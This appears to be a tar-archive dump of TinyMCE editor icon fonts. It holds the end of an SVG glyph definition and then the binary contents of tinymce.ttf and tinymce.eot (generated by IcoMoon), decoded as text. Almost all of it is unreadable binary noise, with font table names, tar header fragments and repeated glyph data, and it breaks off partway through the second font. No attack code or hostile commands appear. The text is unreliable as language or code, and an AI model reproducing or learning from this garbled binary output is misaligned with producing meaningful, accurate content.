<glyph unicode="&#xe603;" glyph-name="codesample" d="M200.015 577.994v103.994c0 43.077 34.919 77.997 77.997 77.997h26v103.994h-26c-100.51 0-181.991-81.481-181.991-181.991v-103.994c0-43.077-34.919-77.997-77.997-77.997h-26v-103.994h26c43.077 0 77.997-34.919 77.997-77.997v-103.994c0-100.509 81.481-181.991 181.991-181.991h26v103.994h-26c-43.077 0-77.997 34.919-77.997 77.997v103.994c0 50.927-20.928 96.961-54.642 129.994 33.714 33.032 54.642 79.065 54.642 129.994zM823.985 577.994v103.994c0 43.077-34.919 77.997-77.997 77.997h-26v103.994h26c100.509 0 181.991-81.481 181.991-181.991v-103.994c0-43.077 34.919-77.997 77.997-77.997h26v-103.994h-26c-43.077 0-77.997-34.919-77.997-77.997v-103.994c0-100.509-81.482-181.991-181.991-181.991h-26v103.994h26c43.077 0 77.997 34.919 77.997 77.997v103.994c0 50.927 20.928 96.961 54.642 129.994-33.714 33.032-54.642 79.065-54.642 129.994zM615.997 603.277c0-57.435-46.56-103.994-103.994-103.994s-103.994 46.56-103.994 103.994c0 57.435 46.56 103.994 103.994 103.994s103.994-46.56 103.994-103.994zM512 448.717c-57.435 0-103.994-46.56-103.994-103.994 0-55.841 26-100.107 105.747-103.875-23.715-33.413-59.437-46.608-105.747-50.94v-61.747c0 0 207.991-18.144 207.991 216.561-0.202 57.437-46.56 103.996-103.994 103.996z" />
</font></defs></svg>tinymce.ttf000064400000044474151024320400006737 0ustar00�0OS/2��`cmap�q��4gaspPglyf6�ŝXA�headp�D 6hhea�7DX$hmtx�uD|�loca6B$�Ft�maxp��Gt name�TG��postI ��������3	@�x���@�@ B@ �(�5���+��	�����(�*�-�5�=�A�a���6��j�����j���x���� ��*��
�*�������&�*�-�0�9�?�a���5��j�����j���x������  98IKJEC=5420-,
��>�������797979���!!!3#!3!3��������@@K5�������@5@����1'.#!"3!2654&#5#!"&5463!23��P!� !//!�!/!E��	� 		����!/!��!//!`!P���		`	����/75'.'7'./#'737>77'>7'#'573�hq�+�+�qh��hq�+�+�qh�������p�+�qh��hq�+�+�qh��hq�+ ������!!!!!!!!!!�����������@���@����!!!!!!!!!!�������������@���@����!!!!!!!!!!��������������@���@����!!!!!!!!!!�������@�@�@�@�]����6Zf�%.+'6764'&'	#"3267>'732676&'#"&'.5467>7>7>327"&54632#"&'.'.'.5467>32{"T(@������@(T"=3; (S#("AA"(#S( ;3=���%55%%552�"#@""H""���""H""�@#"=�3#"(c.BB.c("#3�=�

�5&%55%&5�

@���&*-354&+54&+"#"3!!781381#55!537#!!@
�&�&�

 ��������e�����
@&&@
��
��@@�@@�[e@�@���)7ES!!%!!#!!!#"3!26533!2654&#"&546;2#"&546;2#"&546;2@������x8���8**0*�*0**�����@

@
o���@@@���*��**x��**0*��



�



�@



���#/!!!!!!4632#"&4632#"&4632#"&������������K55KK55KK55KK55KK55KK55K������@5KK55KK��5KK55KK��5KK55KK@���)%!!!!!!'#5#53#575#53#535#535#5�����������@@@�����������������@��2@�<2@��@@@@@�!!!!!!!!!!����������������@�@�@�@����!!!!!!!!!!%�����������������@�@�@�@�����@&M2#"'.'&5'47>763">!2#"'.'&5'47>763">�.))==))..))=##zRQ]@u-	I.))==))..))=##zRQ]@u-	=))..))==)). ]QRz##�0.
=))..))==)). ]QRz##�0.
@����676&'&	6�+8UV�����qrF('@M[[�32����NN슉v����5	5&&'&676@����VU8+i'(Frq�������23�[[Mr���NN.����
@r67>'&7#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64@
'<

'���
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�


	c
		
�	
A19�.
<'

��'
	�
		
c	

	�	
A�.�-c�*u.Ac�*u.A
	�
		
c	

	�	
A�-����2eimquy}#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64''773#3#'3#3#�
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�	

	c
		
�	
A19�..��.�i@@�����.��@@��
	�
		
c	

	�	
A�-�-d�*u.Ac�*u.A
	�
		
c	

	�	
A�-�-��.��@��.�)��@���@�			!�@@@����@�����%@!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`	@@"!#535#535#53!!#535#535#53%��������@����������@��@����������������������He3#2#575!57"327>76767>7654'.'&'&'.'&#512#"'.'&547>76���%������*((K""""K((**((K""""K((*j]^�((((�^]jj]^�((((�^]�@%��@�@��""K((**((K""""K((**((K""`((�^]jj]^�((((�^]jj]^�((@���	3	!#	3@�����������6�J3@LV"327>7654'.'&#"&'.5467>32'>77&'.'&'#17'PEFiiFEPPEFiiFE|)i::i)(,,()i::i)(,,�R+%"!:V`<.V:!"%+<`��@�(�iFEPPEFiiFEPPEFi��(,,()i::i)(,,()i::iV:!"%+<`�+%"!:V`6�
�2v� 'Q|"327>767&'.'&2#"&546#"&'.'.'>7>732654&'&'.'&#">767>76325.'OII�88,,88�IIOOII�88,,88�II�%%%%a? "D##D" ?/U##U/2pPPp2/U##U()*+W--..--W+*),R%*a5&&'P*)**)*P'&&5a*%R,�C/0::0/CC/0::0/C�%%%%��A((A
6PppP6
A((A�9!m,II,m!9��0%7!3#33#B::r��r�H:��������
�#'!5!!5!5#!5!!%!!5!!!!5!����@����������������@������������������!!������7!!!!''7'77@�����@U�|���>��>��>��@���@ ����>��>��>������%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n���������C%!7!567>7654'.'&#"!!5&'.'&547>7632�@��1))<`@@II@@`<))1��@F;;U((�^]jj]^�((U;;F@���$$_88>PFFggFFP>88_$$��!)*l@@G]QRz####zRQ]G@@l*)���7COk"327>7654'.'&"'.'&547>7632#"&54632#"&5463227>767#"'.'&'j]^�((((�^]jj]^�((((�^]jYOOu""""uOOYYOOu""""uOO�%%%%�%%%%�501R!!U76==67U!!R10�((�^]jj]^�((((�^]jj]^�((�P""uOOYYOOu""""uOOYYOOu""p%%%%%%%%��

"@78QQ87@"

�'!!!";!32654&!!%#"&54632����&&��&&�����@&��&�&@&��@����
''7''!7!7'7!7��lԊ�v�lԊ�������l�Ԋ���������lԊ��lԊ��������llԊ���@����
048>334&+"33#%5#";5#54&+326=4&#26#535#53	7��@&�&@��@�&&���&��&@�����`�R�`���&&�����@&��&@@``&�@&`&&ƀ@���@ F�.���#53533##%!3!�������@����������������#'/37?CH3#73#%#535#53#73#%3#33#73#%#535#53#73#%3#3!!1!������@��@�@�������@��@�����@��@�@�������@������@�@@@@�@�@�@@@��@@��@@@@�@�@�@@@��@@@�������#3#73#%3#73#%3#!3!!#!������������� ��@ ���@@@@@@@@@@�@��������@�����+12#5267>54&'.#"3367>76!3@]QRz####zRQ]G�225522�GG�2&2	���''vLK���##zRQ]]QRz##`522�GG�22552&_4�QGFg���@��@�(>54'.'&#!!27>7654&32+#32� F./5���5/.FD��e*<<)f���,>>�"T/5/.F��F./5FtFK55K��K55K���#3!53#5������@�@��@�@@@�@�#3#"'.'&533267>5!!��W:;BB;:W�I((I������`<45NN54<��`88����8<#"&'.5332654&#"&'.5467>32#4&#"32%!!�0550,q>>q,05�rNNrrN>q,0550,q>>q,05�rNNrrN>q,�%��$b55b$!$$!$b54LL44L$!$b55b$!$$!$b54LL44L$!@���!####"'.'&547>76�����.))==))�����=))..))=@��!####"'.'&547>76
�����.))==))��������=))..))=���� ��!####"'.'&547>76-����.))==))������=))..))=�������	#5'!!!'##%!3!!5333@���@���ee��ee��@��������@���@eeee���@�����@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@����	''� ������������#;G!'!!3!!&'.'&547>7632'>54&#"3267?6&%"&54632��` ��@�8K-�@�'!!0
J128821Jc�
pPPppP2�3��3II33II@@�����B)(,821JJ128 ү2PppPPp
�3�I33II33I@���*59=373#35#335'54&+54&+"#"3!!81381#55!!!  @0�0@  @
�&�&�

 ���������@�@@@���
@&&@
��
��@@�@@�@@���"&.'.#"#5>723#5!!!�	&		z�]�W�@���@PF

��s�*�����@�0���@5%!!!!6762'&'7>76767>'&'&'.s��CI�L���BSR�RSBB!!!!B.67v>=;.00_,,%84-::~?@8V��P�G�GB!!!!BBSR�RSB-
%9EE�BC4-)V'-����1u'#"'.'&'81<5<5104504167>767'7818181<1&'.'&10>7>71099>581<5<5}Z  J()+NEEi	�-�:c-<<�:;;&%%F
<<) ,MY"
	fDEP'('M%%#�-���d0wpq�65:))1F&BB&412^+,'MG$�� `%KWl546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"07>7654&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5# !N! =+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==�=+*;>%--X+=�!!5!5#!55!!!!5!����@��������������������������	�#!!5!5#!5!!%!!5!!!!5!����@�������������������������������@�!!5!5!5!!5!5!5!!5!5!5!5!5!�@��@��@��������@��@��@�@��@�@�@��!!!5#!5!!5!!!��@���@��������������@�������������%5#53533#!!!!5!5!5!5!5!@��V���j����@@�����Z��Z��������@�@�@��3##5#535%!!5!5!5!5!5!!!���V�����@������@��Z��Z��������@�@��@��##5#53533!!5!!5!!5!5!!��F��F��M�@�@�@�������C��@����������=��3533##5#!!!%!!!!5!5!M�F��F��������������C��C������������=��'!!!!5!5!5!5!5!!!5!5!''7'77���@������@�`=��=��=��=���������@�@��@�@���=��=��=��=��!!!!''7'77�=��}�`��`��`��`�����@���`��`��`��`�@�!!5!5!5!5!5!!5!5!5!5!5!�����@������@��@�@��@�@�@�@�!!5!5!5!!5!5!5!!5!5!5!�@��@��@�����@��@��@�@��@�@��$''7'77!#3#3!5!7!5!'!5!v��M��M��M��I��@@VZ@��6@��s@���=��M��J��M��MC�����@�@��@�@��%155!!'5!'5!!57!57!'77'7@@@@@@����
3�3
�#0��M��L��M���@
@�M@�@����3
4ZZ4
3�@v#ss0S�j��M��M��M��@����
5%33'47632#"'&��@�@@�@��@��((((�@��@���@��@��(((
�#'3#7!!3#7!!3#7!!3#7!!3#7!!���@������@������@��������������������������������������3'	7%93267>594&'.'
DVVV����TW��#@�		
	
�CVVV���P���#3I/


,���!!!!!!!!����
�j@V�*�*����	#57'762!!5�
���@�C+lC���Ts�
���=�Cm+C��pp	���	!GVht�!!##53#575#53%#535#535#5>32#.'#"&546?>54&#"##3267573>32#"&'#32654&#"%.#"3267#"&54632#�0CC�Ɇ��̉�����55+J )0.5&C�		�J0:=0GG�G?07BC90>C�@�C�6C�@7C����CCGCC�,( p
+!"'	
3	#�p
E7:MV� '' !%'%"$%-3G9<G2.���!B&'.'&#"347>7632!#"'.'&'7!7327>765z#+*`558j]^�((`! qLLV.,+O"#�`�&! qLLV.,+O"#����#+*`558j]^�((&+((�^]jVLLq !
	$ �`���VLLq !
	$ ����&+((�^]j���"*.'67>76735!5#!!.'#7261%#3733%7#*w+
���]��H3!6\D+�D�$]�]3�3]��MM�0v"$%M(((]]]]C7$M,:j0�C�]�Ѝ����@��3#3#%3#3#%3#3#%3#3#@������������������������������������@�@ 54&#!"3!26=3!;265!#�+�UUU��*�*���*V�	5	!!!�������r��s���s����� @�7)!3#!!3#@�����@���@���Q��Q��@���@@����!!"3!265#5#	G��E���!//!�!/�����E?���/!��!//!0��������!!7!"3!26534&'��`��(88(�(8 ���`X��0�0�����8(�@(88(����`HX��0�0���!";!2654&!5#!���(88(�3m(88H����8(�(8�8((8�����@�`..106726'476&'&#"310!4'.'&oE
*)ZZ)*
E88q*+�+*q88>V@d,+^%%%%^+,d@V>F--00--F����##54&+"#"3!2654&%46;2!PqO�Oq �\&�&��OqqO�� ��&&�����#2#54&+"32#!"&5463!5463Oq�&�&���qO�qO��&&�� ��Oq�37OS54&+"#3;26=!5534&+"!!;26=35#534&+"#3;26=!5!53�����@������@�����������@����@�����������������@����
!!%5!!7!5!#53��@����@@����@�����@@�@���!!!!!!������@�@�����$%.#"3!26'%"&546327#4632�K

�K%3f3%�%%%%X%%,g��,@@,%%%%�%%���He3#2#575!57"327>76767>7654'.'&'&'.'&#512#"'.'&547>76���%������*((K""""K((**((K""""K((*j]^�((((�^]jj]^�((((�^]�@%��@�@��""K((**((K""""K((**((K""`((�^]jj]^�((((�^]jj]^�((���7C"327>7654'.'&"'.'&547>7632##5#53533j]^�((((�^]jj]^�((((�^]jPEFiiFEPPEFiiFE��������((�^]jj]^�((((�^]jj]^�((��iFEPPEFiiFEPPEFi@��������)"327>7654'.'&3#!53#533j]^�((((�^]jj]^�((((�^]�����@@�@�((�^]jj]^�((((�^]jj]^�((���@@�����	
%!!#535#3��@�� � �ࠀ������@�� � ��������x�*D&'.'&'327>76767>'&'#"&'327>767>'a%&\557755\&%

$$Y235532Y$$

~!|F)N!

,**J"
"�EAAw66//66wAAE+,,X++).&&66&&.)++X,,+��>K- '@�5*0�A@@3!26=4&#!"
�

�@
 �

�
���#!4&+"!"3!;265!26=4&�
�
��

`
�
`
@`

��
�
��

`
�
�@	7�@@��@�@��������	��@����������@'	������@���@��@@	��@�@@	@���		������@��	7!!!!'#5'��������[c�����������[b� @�@/"#7#47>7632#27>7654'.'&#`PEFi����J229922JJ229PEFiiFEP@iFEP��922JJ229922JniFEPPEFi @�@/23'34'.'&#"3"'.'&547>763�PEFi����J229922JJ229PEFiiFEP@iFEP��922JJ229922JniFEPPEFi�!!�@��@�����!)@��@�������(DP%'.>54'.'&#"326776&"'.'&547>7632##33535#��'+1iFEPPEFiiFEPG�2�K��5/.FF./55/.FF./������Y�2�GPEFiiFEPPEFi1+'�KF./55/.FF./55/.F����������(DH%'.>54'.'&#"326776&"'.'&547>7632!!��'+1iFEPPEFiiFEPG�2�K��5/.FF./55/.FF./����Y�2�GPEFiiFEPPEFi1+'�KF./55/.FF./55/.F@�@N!	5#'35#'35#'35#'35#'35#'35#'35#'35#'35!'!5!'!5!'!5!'733#3!!!!!!���-;IXft�����������-��I����������7��W��@���@�u��u@@�!!!!!!@����������@�@�
���
)7FTcr��%2#"&=46"&=46322+"&5463+"&546;2"/&4762'&4762"%"'&4?6262"'&4?"327>7654'.'&"&54632%%%%%%%%�%%@%%�@%@%%@%}-5.5��-5.5g5.5-��5.5-=5/.FF./55/.FF./5B^^BB^^�%@%%@%�%@%%@%�%%%%@%%%%�.5-5�.5-55-5.�<5-5.�F./55/.FF./55/.F�`^BB^^BB^3����".''6767676&'&'�-`1.((99�KJKK.\ee�RR553==\� <GF�KLEF44A
'C53==\\fe�QR6���*"327>7654'.'&47>763"'.'&j]^�((((�^]jj]^�((((�^]�iFEPPEFi�((�^]jj]^�((((�^]jj]^�((�PEFi�iFE�C}='			7}Z���Z"��Z##Z���Z��"Z���Z"��Z#���`�7	'����@��@�@@�����(326=#"3!2654&#"32654&#!"%%��%%�%%%�[�%%��%���%%�[%%%�%%��%%%���7'!5##3!3535#!@�@��@�������@��@@��@�����������@@��.?��_<��A�A��������~@]@@@v.�@6�@������@ �@0-��@*@�@@@���@  @3��
B��8b�X�d���r��j(Dt�Jj���		 	P	z	�


�
�&��X��

>
�
�
�T��.��"�>t��*b��X���0���Df�X�Br���0^��~�����8`�� 4H\jx���HZl�V���� D f z � �~��`6uK
�		g	=	|	 	R	
4�tinymcetinymceVersion 1.0Version 1.0tinymcetinymcetinymcetinymceRegularRegulartinymcetinymceFont generated by IcoMoon.Font generated by IcoMoon.tinymce.eot000064400000044740151024320400006725 0ustar00�I<I�LP��?.tinymceRegularVersion 1.0tinymce�0OS/2��`cmap�q��4gaspPglyf6�ŝXA�headp�D 6hhea�7DX$hmtx�uD|�loca6B$�Ft�maxp��Gt name�TG��postI ��������3	@�x���@�@ B@ �(�5���+��	�����(�*�-�5�=�A�a���6��j�����j���x���� ��*��
�*�������&�*�-�0�9�?�a���5��j�����j���x������  98IKJEC=5420-,
��>�������797979���!!!3#!3!3��������@@K5�������@5@����1'.#!"3!2654&#5#!"&5463!23��P!� !//!�!/!E��	� 		����!/!��!//!`!P���		`	����/75'.'7'./#'737>77'>7'#'573�hq�+�+�qh��hq�+�+�qh�������p�+�qh��hq�+�+�qh��hq�+ ������!!!!!!!!!!�����������@���@����!!!!!!!!!!�������������@���@����!!!!!!!!!!��������������@���@����!!!!!!!!!!�������@�@�@�@�]����6Zf�%.+'6764'&'	#"3267>'732676&'#"&'.5467>7>7>327"&54632#"&'.'.'.5467>32{"T(@������@(T"=3; (S#("AA"(#S( ;3=���%55%%552�"#@""H""���""H""�@#"=�3#"(c.BB.c("#3�=�

�5&%55%&5�

@���&*-354&+54&+"#"3!!781381#55!537#!!@
�&�&�

 ��������e�����
@&&@
��
��@@�@@�[e@�@���)7ES!!%!!#!!!#"3!26533!2654&#"&546;2#"&546;2#"&546;2@������x8���8**0*�*0**�����@

@
o���@@@���*��**x��**0*��



�



�@



���#/!!!!!!4632#"&4632#"&4632#"&������������K55KK55KK55KK55KK55KK55K������@5KK55KK��5KK55KK��5KK55KK@���)%!!!!!!'#5#53#575#53#535#535#5�����������@@@�����������������@��2@�<2@��@@@@@�!!!!!!!!!!����������������@�@�@�@����!!!!!!!!!!%�����������������@�@�@�@�����@&M2#"'.'&5'47>763">!2#"'.'&5'47>763">�.))==))..))=##zRQ]@u-	I.))==))..))=##zRQ]@u-	=))..))==)). ]QRz##�0.
=))..))==)). ]QRz##�0.
@����676&'&	6�+8UV�����qrF('@M[[�32����NN슉v����5	5&&'&676@����VU8+i'(Frq�������23�[[Mr���NN.����
@r67>'&7#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64@
'<

'���
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�


	c
		
�	
A19�.
<'

��'
	�
		
c	

	�	
A�.�-c�*u.Ac�*u.A
	�
		
c	

	�	
A�-����2eimquy}#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64''773#3#'3#3#�
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�	

	c
		
�	
A19�..��.�i@@�����.��@@��
	�
		
c	

	�	
A�-�-d�*u.Ac�*u.A
	�
		
c	

	�	
A�-�-��.��@��.�)��@���@�			!�@@@����@�����%@!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`	@@"!#535#535#53!!#535#535#53%��������@����������@��@����������������������He3#2#575!57"327>76767>7654'.'&'&'.'&#512#"'.'&547>76���%������*((K""""K((**((K""""K((*j]^�((((�^]jj]^�((((�^]�@%��@�@��""K((**((K""""K((**((K""`((�^]jj]^�((((�^]jj]^�((@���	3	!#	3@�����������6�J3@LV"327>7654'.'&#"&'.5467>32'>77&'.'&'#17'PEFiiFEPPEFiiFE|)i::i)(,,()i::i)(,,�R+%"!:V`<.V:!"%+<`��@�(�iFEPPEFiiFEPPEFi��(,,()i::i)(,,()i::iV:!"%+<`�+%"!:V`6�
�2v� 'Q|"327>767&'.'&2#"&546#"&'.'.'>7>732654&'&'.'&#">767>76325.'OII�88,,88�IIOOII�88,,88�II�%%%%a? "D##D" ?/U##U/2pPPp2/U##U()*+W--..--W+*),R%*a5&&'P*)**)*P'&&5a*%R,�C/0::0/CC/0::0/C�%%%%��A((A
6PppP6
A((A�9!m,II,m!9��0%7!3#33#B::r��r�H:��������
�#'!5!!5!5#!5!!%!!5!!!!5!����@����������������@������������������!!������7!!!!''7'77@�����@U�|���>��>��>��@���@ ����>��>��>������%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n���������C%!7!567>7654'.'&#"!!5&'.'&547>7632�@��1))<`@@II@@`<))1��@F;;U((�^]jj]^�((U;;F@���$$_88>PFFggFFP>88_$$��!)*l@@G]QRz####zRQ]G@@l*)���7COk"327>7654'.'&"'.'&547>7632#"&54632#"&5463227>767#"'.'&'j]^�((((�^]jj]^�((((�^]jYOOu""""uOOYYOOu""""uOO�%%%%�%%%%�501R!!U76==67U!!R10�((�^]jj]^�((((�^]jj]^�((�P""uOOYYOOu""""uOOYYOOu""p%%%%%%%%��

"@78QQ87@"

�'!!!";!32654&!!%#"&54632����&&��&&�����@&��&�&@&��@����
''7''!7!7'7!7��lԊ�v�lԊ�������l�Ԋ���������lԊ��lԊ��������llԊ���@����
048>334&+"33#%5#";5#54&+326=4&#26#535#53	7��@&�&@��@�&&���&��&@�����`�R�`���&&�����@&��&@@``&�@&`&&ƀ@���@ F�.���#53533##%!3!�������@����������������#'/37?CH3#73#%#535#53#73#%3#33#73#%#535#53#73#%3#3!!1!������@��@�@�������@��@�����@��@�@�������@������@�@@@@�@�@�@@@��@@��@@@@�@�@�@@@��@@@�������#3#73#%3#73#%3#!3!!#!������������� ��@ ���@@@@@@@@@@�@��������@�����+12#5267>54&'.#"3367>76!3@]QRz####zRQ]G�225522�GG�2&2	���''vLK���##zRQ]]QRz##`522�GG�22552&_4�QGFg���@��@�(>54'.'&#!!27>7654&32+#32� F./5���5/.FD��e*<<)f���,>>�"T/5/.F��F./5FtFK55K��K55K���#3!53#5������@�@��@�@@@�@�#3#"'.'&533267>5!!��W:;BB;:W�I((I������`<45NN54<��`88����8<#"&'.5332654&#"&'.5467>32#4&#"32%!!�0550,q>>q,05�rNNrrN>q,0550,q>>q,05�rNNrrN>q,�%��$b55b$!$$!$b54LL44L$!$b55b$!$$!$b54LL44L$!@���!####"'.'&547>76�����.))==))�����=))..))=@��!####"'.'&547>76
�����.))==))��������=))..))=���� ��!####"'.'&547>76-����.))==))������=))..))=�������	#5'!!!'##%!3!!5333@���@���ee��ee��@��������@���@eeee���@�����@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@����	''� ������������#;G!'!!3!!&'.'&547>7632'>54&#"3267?6&%"&54632��` ��@�8K-�@�'!!0
J128821Jc�
pPPppP2�3��3II33II@@�����B)(,821JJ128 ү2PppPPp
�3�I33II33I@���*59=373#35#335'54&+54&+"#"3!!81381#55!!!  @0�0@  @
�&�&�

 ���������@�@@@���
@&&@
��
��@@�@@�@@���"&.'.#"#5>723#5!!!�	&		z�]�W�@���@PF

��s�*�����@�0���@5%!!!!6762'&'7>76767>'&'&'.s��CI�L���BSR�RSBB!!!!B.67v>=;.00_,,%84-::~?@8V��P�G�GB!!!!BBSR�RSB-
%9EE�BC4-)V'-����1u'#"'.'&'81<5<5104504167>767'7818181<1&'.'&10>7>71099>581<5<5}Z  J()+NEEi	�-�:c-<<�:;;&%%F
<<) ,MY"
	fDEP'('M%%#�-���d0wpq�65:))1F&BB&412^+,'MG$�� `%KWl546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"07>7654&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5# !N! =+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==�=+*;>%--X+=�!!5!5#!55!!!!5!����@��������������������������	�#!!5!5#!5!!%!!5!!!!5!����@�������������������������������@�!!5!5!5!!5!5!5!!5!5!5!5!5!�@��@��@��������@��@��@�@��@�@�@��!!!5#!5!!5!!!��@���@��������������@�������������%5#53533#!!!!5!5!5!5!5!@��V���j����@@�����Z��Z��������@�@�@��3##5#535%!!5!5!5!5!5!!!���V�����@������@��Z��Z��������@�@��@��##5#53533!!5!!5!!5!5!!��F��F��M�@�@�@�������C��@����������=��3533##5#!!!%!!!!5!5!M�F��F��������������C��C������������=��'!!!!5!5!5!5!5!!!5!5!''7'77���@������@�`=��=��=��=���������@�@��@�@���=��=��=��=��!!!!''7'77�=��}�`��`��`��`�����@���`��`��`��`�@�!!5!5!5!5!5!!5!5!5!5!5!�����@������@��@�@��@�@�@�@�!!5!5!5!!5!5!5!!5!5!5!�@��@��@�����@��@��@�@��@�@��$''7'77!#3#3!5!7!5!'!5!v��M��M��M��I��@@VZ@��6@��s@���=��M��J��M��MC�����@�@��@�@��%155!!'5!'5!!57!57!'77'7@@@@@@����
3�3
�#0��M��L��M���@
@�M@�@����3
4ZZ4
3�@v#ss0S�j��M��M��M��@����
5%33'47632#"'&��@�@@�@��@��((((�@��@���@��@��(((
�#'3#7!!3#7!!3#7!!3#7!!3#7!!���@������@������@��������������������������������������3'	7%93267>594&'.'
DVVV����TW��#@�		
	
�CVVV���P���#3I/


,���!!!!!!!!����
�j@V�*�*����	#57'762!!5�
���@�C+lC���Ts�
���=�Cm+C��pp	���	!GVht�!!##53#575#53%#535#535#5>32#.'#"&546?>54&#"##3267573>32#"&'#32654&#"%.#"3267#"&54632#�0CC�Ɇ��̉�����55+J )0.5&C�		�J0:=0GG�G?07BC90>C�@�C�6C�@7C����CCGCC�,( p
+!"'	
3	#�p
E7:MV� '' !%'%"$%-3G9<G2.���!B&'.'&#"347>7632!#"'.'&'7!7327>765z#+*`558j]^�((`! qLLV.,+O"#�`�&! qLLV.,+O"#����#+*`558j]^�((&+((�^]jVLLq !
	$ �`���VLLq !
	$ ����&+((�^]j���"*.'67>76735!5#!!.'#7261%#3733%7#*w+
���]��H3!6\D+�D�$]�]3�3]��MM�0v"$%M(((]]]]C7$M,:j0�C�]�Ѝ����@��3#3#%3#3#%3#3#%3#3#@������������������������������������@�@ 54&#!"3!26=3!;265!#�+�UUU��*�*���*V�	5	!!!�������r��s���s����� @�7)!3#!!3#@�����@���@���Q��Q��@���@@����!!"3!265#5#	G��E���!//!�!/�����E?���/!��!//!0��������!!7!"3!26534&'��`��(88(�(8 ���`X��0�0�����8(�@(88(����`HX��0�0���!";!2654&!5#!���(88(�3m(88H����8(�(8�8((8�����@�`..106726'476&'&#"310!4'.'&oE
*)ZZ)*
E88q*+�+*q88>V@d,+^%%%%^+,d@V>F--00--F����##54&+"#"3!2654&%46;2!PqO�Oq �\&�&��OqqO�� ��&&�����#2#54&+"32#!"&5463!5463Oq�&�&���qO�qO��&&�� ��Oq�37OS54&+"#3;26=!5534&+"!!;26=35#534&+"#3;26=!5!53�����@������@�����������@����@�����������������@����
!!%5!!7!5!#53��@����@@����@�����@@�@���!!!!!!������@�@�����$%.#"3!26'%"&546327#4632�K

�K%3f3%�%%%%X%%,g��,@@,%%%%�%%���He3#2#575!57"327>76767>7654'.'&'&'.'&#512#"'.'&547>76���%������*((K""""K((**((K""""K((*j]^�((((�^]jj]^�((((�^]�@%��@�@��""K((**((K""""K((**((K""`((�^]jj]^�((((�^]jj]^�((���7C"327>7654'.'&"'.'&547>7632##5#53533j]^�((((�^]jj]^�((((�^]jPEFiiFEPPEFiiFE��������((�^]jj]^�((((�^]jj]^�((��iFEPPEFiiFEPPEFi@��������)"327>7654'.'&3#!53#533j]^�((((�^]jj]^�((((�^]�����@@�@�((�^]jj]^�((((�^]jj]^�((���@@�����	
%!!#535#3��@�� � �ࠀ������@�� � ��������x�*D&'.'&'327>76767>'&'#"&'327>767>'a%&\557755\&%

$$Y235532Y$$

~!|F)N!

,**J"
"�EAAw66//66wAAE+,,X++).&&66&&.)++X,,+��>K- '@�5*0�A@@3!26=4&#!"
�

�@
 �

�
���#!4&+"!"3!;265!26=4&�
�
��

`
�
`
@`

��
�
��

`
�
�@	7�@@��@�@��������	��@����������@'	������@���@��@@	��@�@@	@���		������@��	7!!!!'#5'��������[c�����������[b� @�@/"#7#47>7632#27>7654'.'&#`PEFi����J229922JJ229PEFiiFEP@iFEP��922JJ229922JniFEPPEFi @�@/23'34'.'&#"3"'.'&547>763�PEFi����J229922JJ229PEFiiFEP@iFEP��922JJ229922JniFEPPEFi�!!�@��@�����!)@��@�������(DP%'.>54'.'&#"326776&"'.'&547>7632##33535#��'+1iFEPPEFiiFEPG�2�K��5/.FF./55/.FF./������Y�2�GPEFiiFEPPEFi1+'�KF./55/.FF./55/.F����������(DH%'.>54'.'&#"326776&"'.'&547>7632!!��'+1iFEPPEFiiFEPG�2�K��5/.FF./55/.FF./����Y�2�GPEFiiFEPPEFi1+'�KF./55/.FF./55/.F@�@N!	5#'35#'35#'35#'35#'35#'35#'35#'35#'35!'!5!'!5!'!5!'733#3!!!!!!���-;IXft�����������-��I����������7��W��@���@�u��u@@�!!!!!!@����������@�@�
���
)7FTcr��%2#"&=46"&=46322+"&5463+"&546;2"/&4762'&4762"%"'&4?6262"'&4?"327>7654'.'&"&54632%%%%%%%%�%%@%%�@%@%%@%}-5.5��-5.5g5.5-��5.5-=5/.FF./55/.FF./5B^^BB^^�%@%%@%�%@%%@%�%%%%@%%%%�.5-5�.5-55-5.�<5-5.�F./55/.FF./55/.F�`^BB^^BB^3����".''6767676&'&'�-`1.((99�KJKK.\ee�RR553==\� <GF�KLEF44A
'C53==\\fe�QR6���*"327>7654'.'&47>763"'.'&j]^�((((�^]jj]^�((((�^]�iFEPPEFi�((�^]jj]^�((((�^]jj]^�((�PEFi�iFE�C}='			7}Z���Z"��Z##Z���Z��"Z���Z"��Z#���`�7	'����@��@�@@�����(326=#"3!2654&#"32654&#!"%%��%%�%%%�[�%%��%���%%�[%%%�%%��%%%���7'!5##3!3535#!@�@��@�������@��@@��@�����������@@��.?��_<��A�A��������~@]@@@v.�@6�@������@ �@0-��@*@�@@@���@  @3��
B��8b�X�d���r��j(Dt�Jj���		 	P	z	�


�
�&��X��

>
�
�
�T��.��"�>t��*b��X���0���Df�X�Br���0^��~�����8`�� 4H\jx���HZl�V���� D f z � �~��`6uK
�		g	=	|	 	R	
